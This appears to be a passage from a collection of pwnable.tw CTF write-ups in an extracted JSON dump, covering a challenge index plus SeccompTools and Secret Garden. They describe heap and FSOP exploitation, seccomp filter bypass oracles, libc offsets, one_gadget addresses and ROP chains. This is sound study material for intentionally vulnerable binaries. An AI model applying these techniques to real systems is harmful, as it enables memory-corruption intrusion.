[`de_aslr`](de_aslr.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, No Canary, NX, No PIE | `ret2dlresolve`, `rop`, `information-leak` | x86-64 glibc 2.23 Full RELRO; only `gets()` available; no output functions (no puts/printf/write). | Minimal binary with Full RELRO. Only function called is `gets(buf)` into a 16-byte stack buffer. Absolutely NO output functions exist (no `puts`, `printf`, `write`, `read`). | • **Path A (64-bit ret2dlresolve / Dynamic Linker Resolver Hijack):** Stack buffer overflow via `gets()`. Because Full RELRO is enabled, `.rela.plt` is read-only, but `_dl_runtime_resolve_sse` can be invoked with forged `Elf64_Rela` and `Elf64_Sym` structures placed in BSS. Forge relocation entry pointing to string `\"system\"`, trigger dynamic linker resolution to resolve and execute `system(\"/bin/sh\")`.\u003cbr>• **Path B (Arithmetic Gadget Transform of gets into execve):** Pivot GOT to use arithmetic gadgets (`add [rdi], al` or similar) to transform resolved `gets` function pointer into `execve`, then call it.\u003cbr>\u003cbr>**Keywords:** unbounded `gets()`, no leak / no output functions, Full RELRO, 64-bit ret2dlresolve, `_dl_runtime_resolve`, forged Elf64_Rela/Sym, GOT transformation |\n| [`food_store`](food_store.md) | 500 | x86-64 | glibc-2.24 | Full RELRO, Canary, NX, PIE | `heap-buffer-overflow`, `unsorted-bin-attack`, `house-of-orange` | x86-64 glibc 2.24; recipe book manager; heap buffer overflow during recipe name/cook parsing. | Recipe manager under glibc 2.24. Heap buffer overflow during recipe ingredient and cooking instruction parsing. glibc 2.24 introduced vtable validation checks on `_IO_FILE` pointer jump tables. | • **Path A (House of Orange + glibc 2.24 _IO_str_jumps FSOP Bypass):** Overwrite top chunk size to trigger House of Orange and place unsorted chunk into arena. Forge fake `_IO_FILE` structure inside unsorted chunk. Because arbitrary vtables are blocked in glibc 2.24, point `vtable` to `_IO_str_jumps` (which is a valid glibc vtable), setting `_IO_str_overflow` fields to redirect execution to `system(\"/bin/sh\")`.\u003cbr>• **Path B (Unsorted Bin Attack to mp_):** Attack memory parameter structures to alter allocation behavior.\u003cbr>\u003cbr>**Keywords:** glibc 2.24, House of Orange, top chunk corruption, `_IO_FILE`, vtable validation bypass, `_IO_str_jumps`, `_IO_str_overflow`, `system(\"/bin/sh\")` |\n| [`hitcon_ftp`](hitcon_ftp.md) | 500 | x86-64 | glibc-2.27 | Full RELRO, Canary, NX, PIE | `heap-buffer-overflow`, `seccomp-bypass`, `rop` | x86-64 glibc 2.27; custom FTP server with msgpack packet serialization; seccomp filter active. | Custom FTP service communicating via msgpack packet serialization. Packet deserialization routine has integer/length calculation defects in `check_crc32` and `msgpack_object_print_buffer`, corrupting heap metadata. Strict seccomp sandbox allows only open, read, write. | • **Path A (Msgpack Heap Corruption → Seccomp ORW ROP Chain):** Exploit msgpack deserialization heap corruption to leak libc and stack addresses. Overwrite execution control pointer under seccomp sandbox to construct an open-read-write (ORW) ROP chain to read `/home/hitcon_ftp/flag` and write back to client socket.\u003cbr>• **Path B (Type Confusion in OACK Options):** Arbitrary memory disclosure via option parsing.\u003cbr>\u003cbr>**Keywords:** msgpack deserialization, heap corruption, seccomp sandbox, open-read-write (ORW) ROP chain, `check_crc32` |\n| [`seccomptools`](seccomptools.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `arbitrary-write`, `seccomp-bypass`, `timing-side-channel` | x86-64 glibc 2.23; seccomp rule manager and disassembler; strict BPF filter limits syscalls. | Web/CLI seccomp inspection tool. Allows adding, inspecting, and executing BPF filter rules. Heap write primitive in rule management allows overwriting `__free_hook`. Strict seccomp policy terminates process on blocked syscalls. | • **Path A (BPF Filter Timing Side-Channel Oracle via __free_hook):** Overwrite `__free_hook` with address inside the seccomp rule evaluation engine. Construct a BPF filter that compares flag bytes against a guess; if match, enter an infinite loop or delay; if mismatch, exit immediately. Measure response latency (timing side-channel) to recover the entire flag byte-by-byte.\u003cbr>• **Path B (FSOP via BSS stream Overwrite):** Overwrite file stream pointer in BSS to trigger FSOP.\u003cbr>\u003cbr>**Keywords:** BPF filter engine, timing side-channel oracle, `__free_hook` overwrite, seccomp execution timing, byte-by-byte memory disclosure |\n| [`stupid_boss`](stupid_boss.md) | 500 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, PIE | `use-after-free`, `type-confusion`, `got-overwrite` | x86-64 glibc 2.23; employee management; employee deletion frees object without clearing global reference. | Employee management system with object hierarchy. `fire_employee` frees the employee object but leaves the pointer in the active company roster array, causing Use-After-Free (UAF). Additionally, `scanf` reads into uninitialized stack variables, leaking memory. | • **Path A (scanf Stack Leak + UAF Function Pointer Overwrite to system):** Use `scanf` uninitialized stack leak to recover libc base. Allocate note/task into freed employee object memory, overwriting the object's function pointer with `system` and the data field with `\"/bin/sh\"`. Call employee action to invoke `system(\"/bin/sh\")`.\u003cbr>• **Path B (Type Confusion to __free_hook):** Exploit UAF to corrupt tcache/fastbin and write `__free_hook`.\u003cbr>\u003cbr>**Keywords:** Use-After-Free, uninitialized stack leak, employee object structure, function pointer overwrite, `system(\"/bin/sh\")` |\n| [`unexploitable`](unexploitable.md) | 500 | x86-64 | glibc-2.23 | Partial RELRO, No Canary, NX, No PIE | `stack-buffer-overflow`, `srop`, `stack-pivoting` | x86-64 glibc 2.23; reads into small buffer; no output functions exist in binary; Partial RELRO. | Stripped minimal binary. Calls `sleep(3)` then `read(0, buf, 0x100)` into a 16-byte stack buffer. Absolutely NO output functions (no `puts`, `printf`, `write`). Partial RELRO with writable GOT. | • **Path A (ret2csu + SROP via read Return Value RAX=15):** 1) Stack buffer overflow into `ret2csu` gadgets (`__libc_csu_init`). 2) Use `ret2csu` to call `read(0, buf, 15)`: sending exactly 15 bytes causes `read()` to return 15, setting `RAX = 15` (the syscall number for `rt_sigreturn`). 3) Invoke `syscall` gadget: kernel restores a complete `sigcontext` frame forged on the stack, setting `RAX = 59` (`execve`), `RDI = &\"/bin/sh\"`, `RSI = 0`, `RDX = 0`, and `RIP = syscall`.\u003cbr>• **Path B (GOT Low-Byte Overwrite to Adjacent syscall):** Overwrite low byte of `read@got` to point to a `syscall; ret` gadget inside libc, then chain `execve`.\u003cbr>\u003cbr>**Keywords:** no output functions, stack buffer overflow, `ret2csu`, Sigreturn-Oriented Programming (SROP), `read()` return value RAX=15, `rt_sigreturn`, `execve(\"/bin/sh\")` |\n| [`criticalheap_pp`](criticalheap_pp.md) | 600 | x86-64 | glibc-2.23 | Full RELRO, Canary, NX, No PIE | `type-confusion`, `use-after-free`, `arbitrary-write` | Hardened successor; real flag requires shell; `PWD=.` causes `realpath` heap overflow. | Hardened successor to `criticalheap`. Polymorphic C++ class destruction without virtual destructors leads to dangling pointer reuse and type confusion. Setting `PWD=.` causes `realpath(path, path)` to perform an off-heap buffer overflow on small heap allocations. | • **Path A (Realpath Heap Overflow → Fastbin Corruption to __malloc_hook):** Trigger `realpath` heap overflow to corrupt adjacent chunk metadata. Trigger fastbin corruption or unsafe unlink to allocate a chunk over `__malloc_hook`. Overwrite `__malloc_hook` with one_gadget to spawn a shell.\u003cbr>• **Path B (setenv/realloc Environment Controlled Alloc/Free):** Manipulate environment allocations to groom heap layout.\u003cbr>\u003cbr>**Keywords:** polymorphic C++ destructor bug, `PWD=.`, `realpath` heap buffer overflow, fastbin corruption, unsafe unlink, `__malloc_hook`, one_gadget |\n| [`digimon`](digimon.md) | 600 | x86-64 | glibc-2.23 | Partial RELRO, Canary, NX, PIE | `use-after-free`, `race-condition`, `vtable-hijack` | x86-64 C++ glibc 2.23; multi-threaded battle arena; task queue parser lacks NUL terminator. | Multi-threaded Digimon battle game. Battle threads run asynchronously. `read_line` misses NUL-termination, and `strtok` overwrites adjacent stack variables in the task parser. A race condition between concurrent battle threads frees Digimon partner structures while still referenced in the task queue, causing a Use-After-Free (UAF). | • **Path A (Thread Race Condition UAF + Vtable Pointer Overwrite to system):** Win race condition between battle thread and task queue to access freed Partner structure. Reclaim freed chunk with controlled task data, overwriting Digimon virtual method table pointer with a fake vtable pointing to `system`. Trigger action to invoke `system(\"/bin/sh\")`.\u003cbr>• **Path B (Toolmon scanf Uninitialized Leak):** Leak stack/heap addresses via uninitialized input variables.\u003cbr>\u003cbr>**Keywords:** multi-threading race condition, `strtok` stack overwrite, Use-After-Free, C++ virtual method table overwrite, `system(\"/bin/sh\")` |\n| [`omegago`](omegago.md) | 600 | x86-64 | glibc-2.23 | Partial RELRO, No Canary, NX, No PIE | `type-confusion`, `out-of-bounds-write`, `got-overwrite` | x86-64 glibc 2.23; Go board game logic; 19x19 board coordinate encoding. | 19x19 Go board game. Coordinate conversion logic has signed integer arithmetic and boundary flaws: out-of-bounds coordinate values bypass validation, allowing out-of-bounds array reads and writes relative to the board history array. Partial RELRO allows GOT overwrites. | • **Path A (Out-of-Bounds Coordinate GOT Overwrite to system):** Provide out-of-bounds board coordinates to index into the Global Offset Table (`GOT`). Overwrite GOT entry of a frequently called function (such as `puts@GOT` or `strlen@GOT`) with `system`. Input `\"/bin/sh\"` string to trigger shell.\u003cbr>• **Path B (House of Spirit via Board State):** Use board state to forge fake fastbin chunks and allocate arbitrary pointers.\u003cbr>\u003cbr>**Keywords:** Go board coordinate confusion, out-of-bounds array indexing, GOT overwrite, `puts@GOT`, `system(\"/bin/sh\")`, Partial RELRO |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":55336,"content_sha256":"a29dbc1a896fc0732b5be358923e4f3271861a6864bee9d67aaa9fb28bc5b20c"},{"filename":"pwnable-tw/seccomptools.md","content":"---\ntags:\n - arbitrary-write\n - seccomp-bypass\n - timing-side-channel\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A heap write primitive in seccomp rule management permits overwriting __free_hook to trigger a BPF filter oracle disclosing memory contents.\"\nproof-of-concept: no\n---\n\n# SeccompTools — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10408`\n>\n> Flag: `FLAG{u_r_master_of_secooooooomp!}`\n\n## Challenge Overview\n\nA seccomp BPF rule editor/emulator (x86-64, PIE, Full RELRO, NX, Stack Canary) built against glibc 2.23. The program lets users create custom BPF (Berkeley Packet Filter) seccomp rules, disassemble them, emulate them, and install them into the kernel. It loads example rules from files via `fopen`/`fread` and validates that rules \"allow ORW\" before installing them. After loading an example, the `FILE *stream` pointer is stored in BSS and later `fclose`'d.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Vulnerabilities\n\n### V1 — BPF_LEN Emulator/Kernel Differential (Primary, Exploitable)\n\n**Root Cause:** The program's BPF emulator does **not** implement the `BPF_LD | BPF_LEN` instruction (opcode `0x80`). In the emulator, `A` remains 0 after this instruction. In the real Linux kernel seccomp, `BPF_LEN` loads `sizeof(struct seccomp_data)` = **64** into `A`.\n\n```text\nEmulator: BPF_LEN → A = 0 (unimplemented, A unchanged)\nKernel: BPF_LEN → A = 64 (sizeof(struct seccomp_data))\n```\n\nThis creates a **parser differential**: a rule can be crafted that passes the emulator's ORW validation check but installs a completely different policy in the kernel.\n\n```python\n# Bypass the ORW check:\nBPF_STMT(BPF_LD | BPF_LEN, 0) # emulator: A=0, kernel: A=64\nBPF_JUMP(BPF_JEQ, 64, bypass_to_real, 0) # emulator: false→allow, kernel: true→real_filter\nBPF_STMT(BPF_RET, SECCOMP_RET_ALLOW) # emulator always reaches here\n# ... actual malicious filter follows (kernel only) ...\n```\n\n**Impact:** Allows installing arbitrary seccomp filters that the ORW validation doesn't see.\n\n### V2 — SECCOMP_RET_ERRNO Makes `open()` Return 0 (Exploitable)\n\n**Root Cause:** When a seccomp filter returns `SECCOMP_RET_ERRNO(0)` for the `open` syscall, the kernel skips the syscall and returns 0 (no error). Since fd 0 = stdin, `fopen()` receives a `FILE *` backed by fd 0 (stdin). Subsequent `fread()` from this stream reads user input instead of a file.\n\n```c\n// In the binary, loading an example rule:\nstream = fopen(\"allow_orw.bpf\", \"rb\"); // open() → blocked by seccomp → returns 0 (stdin)\nfread(filter_buf, 1, filter_size, stream); // reads from stdin!\n// filter_size comes from the first 2 bytes of the \"file\" (user-controlled)\n```\n\n**Impact:** The user controls `filter_size` (up to 0xffff) via the first 2 bytes sent, while `filter_buf` is at a fixed BSS offset (`0x203080`). Sending size `0x1008` overflows past the 0x1000-byte `filter_buf` and overwrites the adjacent `stream` pointer at `filter_buf + 0x1000`.\n\n### V3 — BSS `stream` Pointer Overwrite → FSOP (Exploitable)\n\n**Root Cause:** The `FILE *stream` pointer lives 0x1000 bytes after `filter_buf` in BSS. By overflowing via V2, the attacker replaces `stream` with a pointer to a forged `_IO_FILE_plus` structure in the same buffer. When the program calls `fclose(stream)`, it follows the fake vtable to attacker-controlled code.\n\n```c\n// After fread overflow:\n// filter_buf[0x1000] now contains &fake_FILE (points back into filter_buf)\nfclose(stream); // → calls fake_vtable->__finish(fake_FILE)\n```\n\n**Impact:** Full control of RIP when `fclose` dispatches through the fake vtable.\n\n### V4 — Seccomp Side-Channel Oracle for Address Leak (Exploitable)\n\n**Root Cause:** BPF filters can inspect `seccomp_data` fields including `instruction_pointer` (libc code address of the syscall instruction) and syscall arguments (`args[0]`–`args[5]`, which include buffer addresses). By returning `SECCOMP_RET_ERRNO` when a specific bit is set and `SECCOMP_RET_ALLOW` otherwise, the attacker creates a side-channel oracle.\n\n```c\nstruct seccomp_data {\n int nr; // offset 0x00: syscall number\n __u32 arch; // offset 0x04\n __u64 instruction_pointer; // offset 0x08: libc address!\n __u64 args[6]; // offset 0x10: includes buffer addresses (PIE leak)\n};\n```\n\nThe oracle works by observing whether `fread` (which calls `read` internally) succeeds or blocks:\n- If the filter returns `ERRNO` for a `read`, `fread` retries in a loop → the program appears to hang (no output).\n- If the filter returns `ALLOW`, the `read` succeeds → the program prints \"Done!\".\n\n**Impact:** Leaks PIE base (from `args[0]` = buffer address in `read`) and libc base (from `instruction_pointer` = address of `read` syscall) bit-by-bit or byte-by-byte.\n\n## Exploit Flow (Universal Across All Solutions)\n\nAll 16 solutions follow the same three-phase structure:\n\n### Phase 1 — Leak Addresses via Seccomp Oracle\n\nInstall a BPF filter (bypassing the ORW check via V1) that uses the side-channel oracle (V4) to leak:\n- **PIE base**: from `seccomp_data.args[0]` (the buffer address passed to `read`) or `seccomp_data.args[1]`\n- **libc base**: from `seccomp_data.instruction_pointer` (the libc address where `read` syscall is executed)\n\n### Phase 2 — Overflow BSS via Forced stdin Read\n\nInstall a new filter that makes `open()` return `ERRNO(0)` (V2) for the specific example file. Trigger the \"load example\" code path → `fopen` returns a `FILE *` backed by stdin → `fread` reads attacker-controlled data → overflow `filter_buf` (0x1000 bytes) + overwrite `stream` pointer (V3).\n\n### Phase 3 — FSOP via Fake FILE Structure\n\nThe overflowed buffer contains a forged `_IO_FILE_plus` structure with a fake vtable. When `fclose(stream)` is called, it dispatches through the fake vtable, giving RIP control.\n\n## Exploit Path Variants (Phase 3 Finish)\n\n### Path A — `system(\"/bin/sh\")` or `system(\";sh;\")` via vtable hijack (~50%)\n\n**Used by:** Solutions 370, 821, 14, 2972, 3972, 38838, 408\n\nPlace `\"/bin/sh\"` or `\";sh;\"` in the `_flags` field of the fake FILE. Point the vtable's `__finish` or `__close` entry at `system`. When `fclose` calls `vtable->__finish(fp)`, it executes `system(fp)` where `fp` starts with the shell command string.\n\nSome solutions use `_IO_str_overflow` or `_vtable_offset` tricks to call `system` through `_IO_str_jumps` instead of directly forging the entire vtable.\n\n### Path B — `setcontext` + ORW ROP Chain (~40%)\n\n**Used by:** Solutions exp.py (main), 8153, 9251, 22319, 31599, 34817, 35282\n\nPoint the vtable's `__finish` at `setcontext+53` (glibc 2.23). The `setcontext` gadget loads registers from the `_IO_FILE` structure fields (treating `rdi` as the struct pointer), then pivots the stack to an attacker-controlled ROP chain. The ROP chain performs:\n\n```python\nopen(\"/home/seccomp-tools/flag\", O_RDONLY)\nread(fd, buffer, 0x100)\nwrite(1, buffer, 0x100)\n```\n\nThis approach is preferred because `execve` may be blocked by previously installed seccomp filters.\n\n### Path C — `mprotect` + Shellcode (~10%)\n\n**Used by:** Solutions 5586, 8153\n\nAfter gaining RIP control via FSOP, use a ROP chain to call `mprotect(bss_page, 0x1000, RWX)` followed by jumping to shellcode embedded in the BSS buffer. The shellcode performs ORW to read the flag.\n\n### Path D — Format String via FSOP → Two-Stage Leak + Shell\n\n**Used by:** Solution 6748\n\nInstead of directly calling `system`, forge the FILE struct to trigger `printf` with a format string (`%21$p`) to leak a stack/libc address. Then perform a second FSOP round to call `system` with the fully resolved address.\n\n## Oracle Technique Variants\n\n| Technique | Speed | Used By |\n|-----------|-------|---------|\n| Bit-by-bit probing (36-48 iterations per address) | ~30-60s | 370, 1980, 5586, 8153, 9251, 35282, 38838 |\n| Binary search on 16-bit chunks (log₂ probes per chunk) | ~15-30s | 31599, 34817, 408 |\n| Byte-by-byte with `fread` size encoding | ~40-50s | exp.py (main), 821 |\n| Nibble-by-nibble via `write` size side-channel | ~60-90s | 3972 |\n| 256-value brute per byte (linear scan) | ~120s+ | 370, 2972 |\n\n## Key Offsets (pwnable.tw remote, glibc 2.23)\n\n```python\n# Binary\nfilter_buf_bss = 0x203080 # BSS offset of the BPF filter buffer\nstream_bss = 0x204088 # BSS offset of FILE *stream (filter_buf + 0x1008)\nallow_orw_bpf_str = 0x277c # \".rodata\" offset of \"allow_orw.bpf\" string\nputs_plt = 0xa70\n\n# libc\nsystem = 0x45390\nsetcontext_53 = 0x47b75 # setcontext+53 (register load gadget)\n__open_nocancel_7 = 0xf6460 # common instruction_pointer leak offset\nmain_arena = 0x3c3b20\n_IO_2_1_stderr_ = 0x3c4680\n_IO_stdfile_1_lock = 0x3c5770\n\n# ROP gadgets (libc)\npop_rdi = 0x21102\npop_rsi = 0x202e8\npop_rdx = 0x1b92\npop_rax = 0x33544\nsyscall_ret = 0xbb7c5 # or 0x35426, 0x106c05\nmprotect = 0x100b80\n\n# one_gadgets\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n```\n\n## `seccomp_data` Layout (for BPF Oracle)\n\n```c\nstruct seccomp_data {\n 0x00: int nr; // syscall number\n 0x04: __u32 arch; // AUDIT_ARCH_X86_64 = 0xC000003E\n 0x08: __u64 instruction_pointer; // → libc address (where syscall insn lives)\n 0x10: __u64 args[0]; // → filename ptr for open, buf ptr for read\n 0x18: __u64 args[1]; // → buf ptr (PIE leak via fread→read)\n 0x20: __u64 args[2]; // → size (controllable via fread loop)\n 0x28: __u64 args[3];\n 0x30: __u64 args[4];\n 0x38: __u64 args[5];\n};\n// sizeof(seccomp_data) = 64 = 0x40\n// BPF accesses 32-bit words: data[0x08]=ip_low, data[0x0c]=ip_high, etc.\n```\n\n## Solution Write-ups\n\n| File | Leak Technique | Finish | Notes |\n|------|---------------|--------|-------|\n| `370.md` | Byte scan via fread size encoding | `system(\";sh;\")` via vtable | Two scripts; detailed BPF rule construction |\n| `821.md` | Byte-by-byte fread size oracle | `_IO_str_overflow` → `system` | Detailed 3-step explanation; seccomp filter tree priority |\n| `14.md` | Bit-by-bit probing (48 iterations) | `setcontext` + mprotect + shellcode | Uses `seccomp-tools asm` for rule compilation |\n| `1980.md` | Bit-by-bit probing | Fake FILE vtable → `system` | Heap leak approach with `args[1]` |\n| `2972.md` | Binary search on open args[0] | FSOP vtable `system(\";sh;\")` | Uses `seccomp-tools asm` for compilation |\n| `3972.md` | Nibble-by-nibble via write() args | Format string leak → `system` | Most creative: uses various write() triggers |\n| `5586.md` | Byte-by-byte via fread internal reads | `setcontext` → mprotect + ORW shellcode | Detailed BPF oracle using read size encoding |\n| `6748.md` | Binary search on 16-bit chunks | `setcontext` → mprotect + shellcode | Elegant exploit with minimal filter count |\n| `8153.md` | Bit probing via `fopen` success/fail | `setcontext` + ORW ROP | Uses `mprotect` + shellcode as final stage |\n| `9251.md` | Binary search open args + seccomp tree | `setcontext` → stack pivot → ORW ROP | Detailed seccomp filter tree priority explanation |\n| `22319.md` | Bit-by-bit with multiple read sizes | Fake FILE `_IO_finish` → `setcontext` | Uses `FileStructure` from pwntools |\n| `31599.md` | Binary search on `instruction_pointer` | `setcontext` + ORW ROP chain | Clean binary search; separate PIE + libc leaks |\n| `34817.md` | Binary search via BPF `jge` | `setcontext` + `openat` ORW ROP | Uses `SECCOMP_ASSEMBLER.py` helper |\n| `35282.md` | Bit-by-bit via fread size + offset | Fake FILE vtable → `one_gadget` / `system` | Heap address + libc leak |\n| `38838.md` | Binary search on 16-bit halves | `setcontext` + ORW ROP | Uses `FileStructure`; clean 2-stage leak |\n| `408.md` | Bit-by-bit with read size/offset encoding | Fake FILE → `execve` | Simplest vtable hijack |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit: BPF oracle + House of Spirit + FSOP → ORW ROP |\n| `IO_FILE.py` | Helper: `_IO_FILE_plus` and `_IO_jump_t` struct constructors |\n| `SECCOMP_ASSEMBLER.py` | Helper: BPF assembly → bytecode compiler |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original challenge binary and libc |\n| `solution/*.md` | Community write-ups (16 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12621,"content_sha256":"9cc2d22fce154dd0b9eabf4435ecd76fff57d685bfcb03f4283cc8ca88262e80"},{"filename":"pwnable-tw/secret_garden.md","content":"---\ntags:\n - double-free\n - fastbin-dup\n - one-gadget\nplatform: pwnable.tw\npoints: 350\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A double-free vulnerability on flower nodes enables fastbin duplication to allocate a chunk over __malloc_hook and execute a one_gadget.\"\nproof-of-concept: no\n---\n\n# Secret Garden — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10203`\n>\n> Flag: `FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}`\n\n## Challenge Overview\n\nA menu-based heap challenge binary (x86-64, Full RELRO, PIE, NX, Stack Canary) built against glibc 2.23. The program manages an array of \"flower\" structs on the heap — each flower has a name buffer (user-controlled size via `malloc`), a 24-byte color string, and an in-use flag. The menu provides: (1) Raise a flower, (2) Visit the garden, (3) Remove a flower, (4) Clean the garden, (5) Leave.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Program Structure\n\n### Flower Struct (0x28 bytes, malloc'd)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `in_use` | `uint32_t` (1 = alive, 0 = removed) |\n| `0x08` | `name` | `char *` (malloc'd, user-controlled size) |\n| `0x10` | `color` | `char[24]` (inline, scanf `%23s`) |\n\n### Global State\n\n- `flower_array[100]` — BSS array of `flower *` pointers (max 100 flowers)\n- `flower_count` — total flowers raised\n\n### Menu Operations\n\n1. **Raise** — `malloc(0x28)` for struct, `malloc(size)` for name, reads name via `read()`, color via `scanf`, sets `in_use = 1`.\n2. **Visit** — iterates array, prints name and color for flowers with `in_use != 0`.\n3. **Remove** — `free(flower->name)`, sets `flower->in_use = 0`. **Does NOT null the name pointer, does NOT null the array slot, does NOT free the struct.**\n4. **Clean** — iterates array, for flowers with `in_use == 0`: `free(flower_struct)`, nulls the array slot.\n\n## Vulnerabilities\n\n### V1 — Use-After-Free / Double-Free on Name Buffer (Primary, Exploitable)\n\n**Root Cause:** The \"Remove\" operation frees the flower's name buffer but does not clear the `name` pointer or the array slot. The `in_use` flag is set to 0, but the flower struct remains accessible. This enables:\n\n- **Use-After-Free**: After Remove, \"Visit\" still prints the name pointer's contents (now freed memory containing heap metadata — fd/bk pointers).\n- **Double-Free**: Remove the same flower twice → the name buffer is freed twice, corrupting the fastbin freelist.\n\n```c\n// Remove (simplified pseudocode)\nvoid remove_flower(int idx) {\n if (flower_array[idx] != NULL) {\n free(flower_array[idx]->name); // free name buffer\n flower_array[idx]->in_use = 0; // mark as removed\n // BUG: name pointer NOT cleared\n // BUG: array slot NOT nulled\n // BUG: struct NOT freed\n }\n}\n```\n\n**Impact:** The freed name buffer's `fd` pointer (in fastbins) or `fd`/`bk` pointers (in unsorted/small bins) are leaked via Visit. Double-free enables fastbin duplication for arbitrary write.\n\n### V2 — Partial Write on Name Buffer (Enabler)\n\n**Root Cause:** When raising a flower, the name is read via `read(0, name_buf, size)`. Since `read()` does not NUL-terminate, and the `calloc`/`malloc`'d buffer may contain residual heap metadata, writing fewer bytes than the allocated size preserves existing data (libc pointers from freed chunks).\n\n```c\n// Raise (simplified)\nflower->name = malloc(size);\nread(0, flower->name, size); // partial write preserves old fd/bk at offset 8+\n```\n\n**Impact:** Allocate into a chunk that previously held unsorted bin pointers, write only 8 bytes → the libc `main_arena+0x58` pointer at offset 8 survives → leaked via Visit.\n\n## Exploit Paths\n\nAll solutions exploit V1 (UAF/double-free). They diverge in the leak strategy and the code execution technique.\n\n---\n\n### Path A — Unsorted Bin Leak + Fastbin Dup → `__malloc_hook` Overwrite\n\n**Used by:** exp.py, solutions 2311, 2605, 821 (method 2), 1351, and majority of write-ups\n\nThis is the canonical, most common approach.\n\n**Steps:**\n\n1. **libc Leak via Unsorted Bin:**\n - Raise flower A (size > 0x80, e.g. 0x100) and flower B (barrier to prevent top chunk consolidation).\n - Remove A → name buffer enters unsorted bin → `fd`/`bk` = `main_arena+0x58`.\n - Clean → frees A's struct into fastbin, nulls slot.\n - Raise A' with same size → struct reuses fastbin, name reuses the exact unsorted chunk.\n - Write only 8 bytes → libc pointer at offset 8 survives.\n - Visit → read `main_arena+0x58` → `libc_base = leak - 0x3c3b78`.\n\n2. **Fastbin Duplication (Double-Free):**\n - Raise D and E with size 0x60 (chunk size 0x70 → fastbin index 5).\n - Remove D, Remove E, Remove D → fastbin: `D → E → D` (circular).\n - Raise with `p64(__malloc_hook - 0x23)` as name → overwrites D's `fd`.\n - Raise twice more to consume E and D.\n - Next 0x70 alloc returns fake chunk at `__malloc_hook - 0x23`.\n - The byte at `__malloc_hook - 0x1b` is the MSB of a libc pointer = `0x7f`, which serves as a valid fake chunk size (0x70 fastbin with IS_MMAPPED set).\n\n3. **Write one_gadget to `__malloc_hook`:**\n - The fake chunk starts 0x23 bytes before `__malloc_hook`.\n - Write `\\x00 * 0x13 + p64(one_gadget)` → overwrites `__malloc_hook`.\n\n4. **Trigger:**\n - Double-free any flower → glibc detects corruption → `malloc_printerr` → `abort` backtrace → calls `malloc` → `__malloc_hook` fires → `execve(\"/bin/sh\")`.\n - Alternative: just call Raise (menu 1) again to trigger `malloc`.\n\n**one_gadget offsets (glibc 2.23):**\n```python\n0x45216 # rax == NULL\n0x4526a # [rsp+0x30] == NULL\n0xef6c4 # [rsp+0x50] == NULL (most commonly used)\n0xf0567 # [rsp+0x70] == NULL\n```\n\n**Reliability:** Deterministic heap layout. Nearly 100% reliable.\n\n---\n\n### Path B — Fastbin Dup → Arbitrary Read (Fake Flower Struct) → Stack ROP\n\n**Used by:** Solutions 8, 10, 59, 78, 184, 644, 821 (method 1)\n\nThis approach builds an arbitrary read primitive and then overwrites a stack return address.\n\n**Steps:**\n\n1. **Heap Leak via Fastbin:**\n - Raise and remove flowers of the same size to populate fastbins.\n - Raise a new flower whose struct overlaps a freed name → Visit leaks `fd` pointer → heap base.\n\n2. **libc Leak:**\n - Either via unsorted bin (same as Path A), or by using the heap leak + arbitrary read to reach a libc pointer on the heap.\n\n3. **Stack Leak via `environ`:**\n - Use fastbin dup to create overlapping flower struct + name buffer.\n - Forge a fake flower struct where `name` points to `libc.sym['environ']`.\n - Visit → prints contents of `environ` → stack address.\n\n4. **Fastbin Dup to Stack:**\n - Find a stack address where `[addr+8]` contains `0x7f` (a valid fastbin size byte). Typically at `environ_value - 0x18b` or similar offset.\n - Double-free 0x70-size chunks, plant fake `fd` pointing to that stack address.\n - Final alloc returns a buffer on the stack.\n - Write a ROP chain (`pop rdi; ret` → `/bin/sh` → `system`) overwriting `read()`'s return address (since the name buffer `read()` call returns into the vulnerable stack frame).\n\n**Reliability:** Deterministic. Does not require one_gadget constraints.\n\n---\n\n### Path C — Fastbin Dup → `_IO_list_all` / `stdout` vtable Hijack\n\n**Used by:** Solutions 78 (variant), 138, 278, 365, 370 (variant), 100, 1172, 1236\n\nThis approach targets the FILE stream vtable mechanism in glibc 2.23.\n\n**Steps:**\n\n1. **libc + Heap Leak:** Same as Path A/B.\n\n2. **Fastbin Dup into `_IO_list_all` or `stdout`:**\n - Target `_IO_list_all - 0x23` (has a `0x7f` size byte) or `stdout + 0xd8 - 0x3b` (similar).\n - Double-free 0x70 chunks, plant fake `fd` to the target.\n\n3. **Overwrite `_IO_list_all`** to point to a controlled heap region containing:\n - A crafted fake `_IO_FILE` struct with specific field constraints.\n - A fake vtable where the `__overflow` / `xsputn` function pointer = `one_gadget` or `system`.\n\n4. **Trigger via `exit(0)` (menu 5) or `abort`:**\n - `exit` → `__run_exit_handlers` → `_IO_cleanup` → `_IO_flush_all_lockp` → walks `_IO_list_all` → calls vtable function → one_gadget/system.\n - Or: any malloc error (double-free) → `malloc_printerr` → `abort` → `_IO_flush_all_lockp` → same path.\n\n**Reliability:** Requires careful struct crafting. Works on glibc 2.23 (vtable checks not yet enforced).\n\n---\n\n### Path D — Fastbin Dup → `main_arena` Top Chunk Overwrite → `__free_hook`\n\n**Used by:** Solution 550\n\nAn unusual approach that overwrites `main_arena.top` to redirect future 